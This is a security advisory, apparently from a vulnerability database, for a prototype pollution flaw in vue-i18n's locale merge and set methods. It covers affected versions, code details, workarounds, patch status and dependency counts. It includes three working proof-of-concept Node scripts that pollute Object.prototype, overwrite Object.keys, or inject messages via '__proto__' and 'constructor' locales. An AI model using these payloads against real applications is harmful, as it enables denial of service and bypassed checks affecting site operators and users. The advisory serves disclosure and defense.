HIGH 7.3

CVE-2026-144409

Vue I18n: Prototype Pollution via the `locale` argument of `mergeLocaleMessage`, `mergeDateTimeFormat` and `mergeNumberFormat`

Description

Summary

In vue-i18n v9 and later, mergeLocaleMessage(), mergeDateTimeFormat() and mergeNumberFormat() look up the entry to merge into with container[locale]. When the locale is the name of a property inherited from Object.prototype, this lookup returns a built-in object, and the methods write into it:

  • With '__proto__', all three methods write into Object.prototype.
  • With 'constructor', mergeDateTimeFormat() and mergeNumberFormat() write into the global Object. A format with a key such as keys replaces Object.keys.
  • With the names of most other Object.prototype methods, such as 'toString', mergeDateTimeFormat() and mergeNumberFormat() write into those built-in functions.

setLocaleMessage(), setDateTimeFormat() and setNumberFormat() do not write into built-in objects, but with '__proto__' they replace the prototype of the container: the messages, datetimeFormats or numberFormats object passed to createI18n() or useI18n(), which vue-i18n uses as is, without copying. The given object then supplies messages or formats for locales that have none of their own, in every instance that uses the same object.

An application that passes an untrusted value as the locale (for example, one taken from a URL parameter, a cookie or the Accept-Language header) lets an attacker pollute the global prototype chain, modify built-in objects, or inject messages. useI18n({ useScope: 'global' }) passes the keys of its messages, datetimeFormats and numberFormats options to these methods as locales, so untrusted keys there (for example, from JSON.parse) have the same effect.

This affects the methods of the global and local composers (i18n.global, useI18n()) and of the Legacy API VueI18n instance (v9 to v11), in server-side rendering and in the browser. Stable releases of petite-vue-i18n have no datetime or number format APIs, so only mergeLocaleMessage() and setLocaleMessage() with '__proto__' apply there.

vue-i18n v7 and v8 (for Vue 2) and vue-i18n-bridge are also affected:

  • From vue-i18n 7.0.2, mergeDateTimeFormat() and mergeNumberFormat() write into built-in objects, and so does mergeLocaleMessage() up to 8.15.2.
  • From vue-i18n 7.0.0 to 7.6.0, setLocaleMessage(), setDateTimeFormat() and setNumberFormat() with '__proto__' replace the prototype of the container, as described above. In 7.0.0 and 7.0.1, mergeLocaleMessage() with '__proto__' does the same.
  • vue-i18n-bridge is affected through mergeDateTimeFormat(), mergeNumberFormat() and the three setters.

Details

The three methods look up the object to merge into with container[locale], and then copy into it (composer.ts in v11.4.13):

function mergeLocaleMessage(locale, message) {
_messages.value[locale] = _messages.value[locale] || {}
// ...
deepCopy(message, _messages.value[locale])
}
function mergeDateTimeFormat(locale, format) {
_datetimeFormats.value[locale] = assign(_datetimeFormats.value[locale] || {}, format)
// ...
}
function mergeNumberFormat(locale, format) {
_numberFormats.value[locale] = assign(_numberFormats.value[locale] || {}, format)
// ...
}

The containers are ordinary objects, so container[locale] also finds properties inherited from Object.prototype:

  • For '__proto__', the lookup goes through the __proto__ accessor and returns Object.prototype. deepCopy() and assign() (Object.assign) then copy the given keys onto Object.prototype. deepCopy() skips __proto__ keys in its source (the fix for CVE-2024-52810), but it does not check its destination.
  • For 'constructor', the lookup returns the global Object, and assign() copies the given keys onto it. For 'toString', 'valueOf' and most other methods of Object.prototype, it returns that built-in function. When the containers are Vue reactive proxies, as in the browser, Vue 3.2.46 and later return their own wrapper for 'hasOwnProperty', so that name writes into the wrapper instead. mergeLocaleMessage() throws Invalid value for these names, because deepCopy() throws when its destination is not an object.

setLocaleMessage(), setDateTimeFormat() and setNumberFormat() assign with container[locale] = value. For '__proto__', this calls the __proto__ setter, which replaces the prototype of the container with the given object. The container is the object the application passed in, so every instance that uses the same object sees the change.

v7, and v8 up to 8.3.0, merge with Vue.util.extend(this._vm.dateTimeFormats[locale] || {}, format), and 8.3.1 and later with merge(this._vm.dateTimeFormats[locale] || {}, format) (the same for number formats). Both write into their first argument. From 7.0.2 to 8.15.2, mergeLocaleMessage() also merges into this._vm.messages[locale] || {}; 8.15.3 changed it to merge into a new object. Up to 7.6.0, the setters assign with this._vm.messages[locale] = message and so on; 7.7.0 changed them to this._vm.$set(). vue-i18n-bridge uses the composer above, but its mergeLocaleMessage() passes the call to the vue-i18n v8 instance it wraps before copying, and that instance stores a new object for the locale, so only the other methods are affected.

PoC

'__proto__' with mergeLocaleMessage():

npm install vue-i18n@11.4.13 vue
node poc.mjs

Output:

Before Attack: {}
After Attack: {"pollutedKey":123}
// poc.mjs
import { createI18n } from 'vue-i18n'
const i18n = createI18n({ legacy: false, locale: 'en', messages: { en: {} } })
// e.g. a locale taken from a URL parameter such as `?lang=__proto__`
const lang = '__proto__'
console.log('Before Attack: ', JSON.stringify({}.__proto__))
i18n.global.mergeLocaleMessage(lang, { pollutedKey: 123 })
console.log('After Attack: ', JSON.stringify({}.__proto__))
delete Object.prototype.pollutedKey

mergeDateTimeFormat('__proto__', format) and mergeNumberFormat('__proto__', format) pollute Object.prototype in the same way.

'constructor' with mergeDateTimeFormat():

node poc-constructor.mjs

Output:

Before Attack: function
After Attack: object
TypeError: Object.keys is not a function
// poc-constructor.mjs
import { createI18n } from 'vue-i18n'
const i18n = createI18n({ legacy: false, locale: 'en', messages: { en: {} } })
// e.g. a locale taken from a URL parameter such as `?lang=constructor`
const lang = 'constructor'
console.log('Before Attack: ', typeof Object.keys)
i18n.global.mergeDateTimeFormat(lang, { keys: { year: 'numeric' } })
console.log('After Attack: ', typeof Object.keys)
try {
Object.keys({})
} catch (error) {
console.log(String(error))
}

mergeNumberFormat('constructor', format) has the same effect.

'__proto__' with setLocaleMessage():

node poc-set.mjs

Output:

Before Attack: hello
After Attack: injected
// poc-set.mjs
import { createI18n } from 'vue-i18n'
const i18n = createI18n({
legacy: false,
locale: 'ja',
fallbackLocale: 'en',
missingWarn: false,
fallbackWarn: false,
messages: { en: { hello: 'hello' } }
})
console.log('Before Attack: ', i18n.global.t('hello'))
// e.g. a locale taken from a URL parameter such as `?lang=__proto__`
i18n.global.setLocaleMessage('__proto__', { ja: { hello: 'injected' } })
console.log('After Attack: ', i18n.global.t('hello'))

Impact

Applications are affected when an attacker can control the locale argument of these methods, or the keys of the messages, datetimeFormats or numberFormats options of useI18n({ useScope: 'global' }). For example, an application that loads messages for the locale in the URL:

// e.g. /:lang/... routes
const lang = route.params.lang // attacker-controlled
const messages = await fetch(`/api/messages/${lang}`).then(res => res.json())
i18n.global.mergeLocaleMessage(lang, messages)
  • With '__proto__', the keys of the merged object end up on Object.prototype, even when the attacker does not control that object. Almost every object in the page inherits them, and during server-side rendering, so does every later request in the same process.
  • With 'constructor' (mergeDateTimeFormat() and mergeNumberFormat(), and in vue-i18n 7.0.2 to 8.15.2 also mergeLocaleMessage()), the keys of the merged object end up on the global Object. If the attacker also controls that object, they can replace methods such as Object.keys and break the page or the server process.
  • With other names, such as 'toString', the keys of the merged object end up on that built-in function. If the attacker also controls that object, they can, for example, shadow Object.prototype.toString.call, which Vue and vue-i18n use, and break the page or the server process.
  • With '__proto__', the setters let the given object supply messages or formats for locales that have none of their own, in every instance that shares the same messages, datetimeFormats or numberFormats object. During server-side rendering, this can include later requests from other users.

Depending on the application and its dependencies, this can lead to denial of service, bypassed checks, or worse through prototype pollution gadgets.

Workarounds

If you cannot upgrade yet, for example because you are on v7 to v10 or use vue-i18n-bridge:

  • Check the locale against the locales your application supports before passing it to these methods, including setLocaleMessage(), setDateTimeFormat() and setNumberFormat().
  • Do not pass untrusted objects as the messages, datetimeFormats or numberFormats options of useI18n({ useScope: 'global' }).
const SUPPORTED_LOCALES = ['en', 'ja']
if (SUPPORTED_LOCALES.includes(lang)) {
i18n.global.mergeLocaleMessage(lang, messages)
}

Patches

TBD: fixed in the v11 and v12 alpha releases of vue-i18n, petite-vue-i18n and @intlify/vue-i18n-core. The fix also covers setLocaleMessage(), setDateTimeFormat() and setNumberFormat().

v7 to v10 and vue-i18n-bridge are no longer supported and will not be fixed. Please migrate to v11.

Related

Affected Maven artifacts (2)

ArtifactAffected versionsFixed in
org.mvnpm » vue-i18nvia npm vue-i18n
>= 7.0.0>= 9.0.0, < 11.4.14>= 12.0.0-alpha.1, < 12.0.0-alpha.5
11.4.14, 12.0.0-alpha.5
org.webjars.npm » vue-i18nvia npm vue-i18n
>= 7.0.0>= 9.0.0, < 11.4.14>= 12.0.0-alpha.1, < 12.0.0-alpha.5
11.4.14, 12.0.0-alpha.5

Blast radius

2affected artifacts
77affected versions
152dependent artifacts (est.)
18,539dependent versions

97% of the dependent artifacts (148) still pull an affected version in their latest release.

DepthDependent versions
Direct
472
2 hops
448
3 hops
3,646
4 hops
9,185
5 hops
2,589
6 hops
2,199

Most used dependents

Computed from the dependency graph of build 20261205.0236 (compile and runtime scopes, nearest version wins). Exclusions and dependency management in consuming projects are not applied, so dependents are potentially affected. When several artifacts are affected, a dependent version that pulls more than one of them is counted once per artifact.

Other ecosystems

Also affects npm (4 packages) . See all on OSV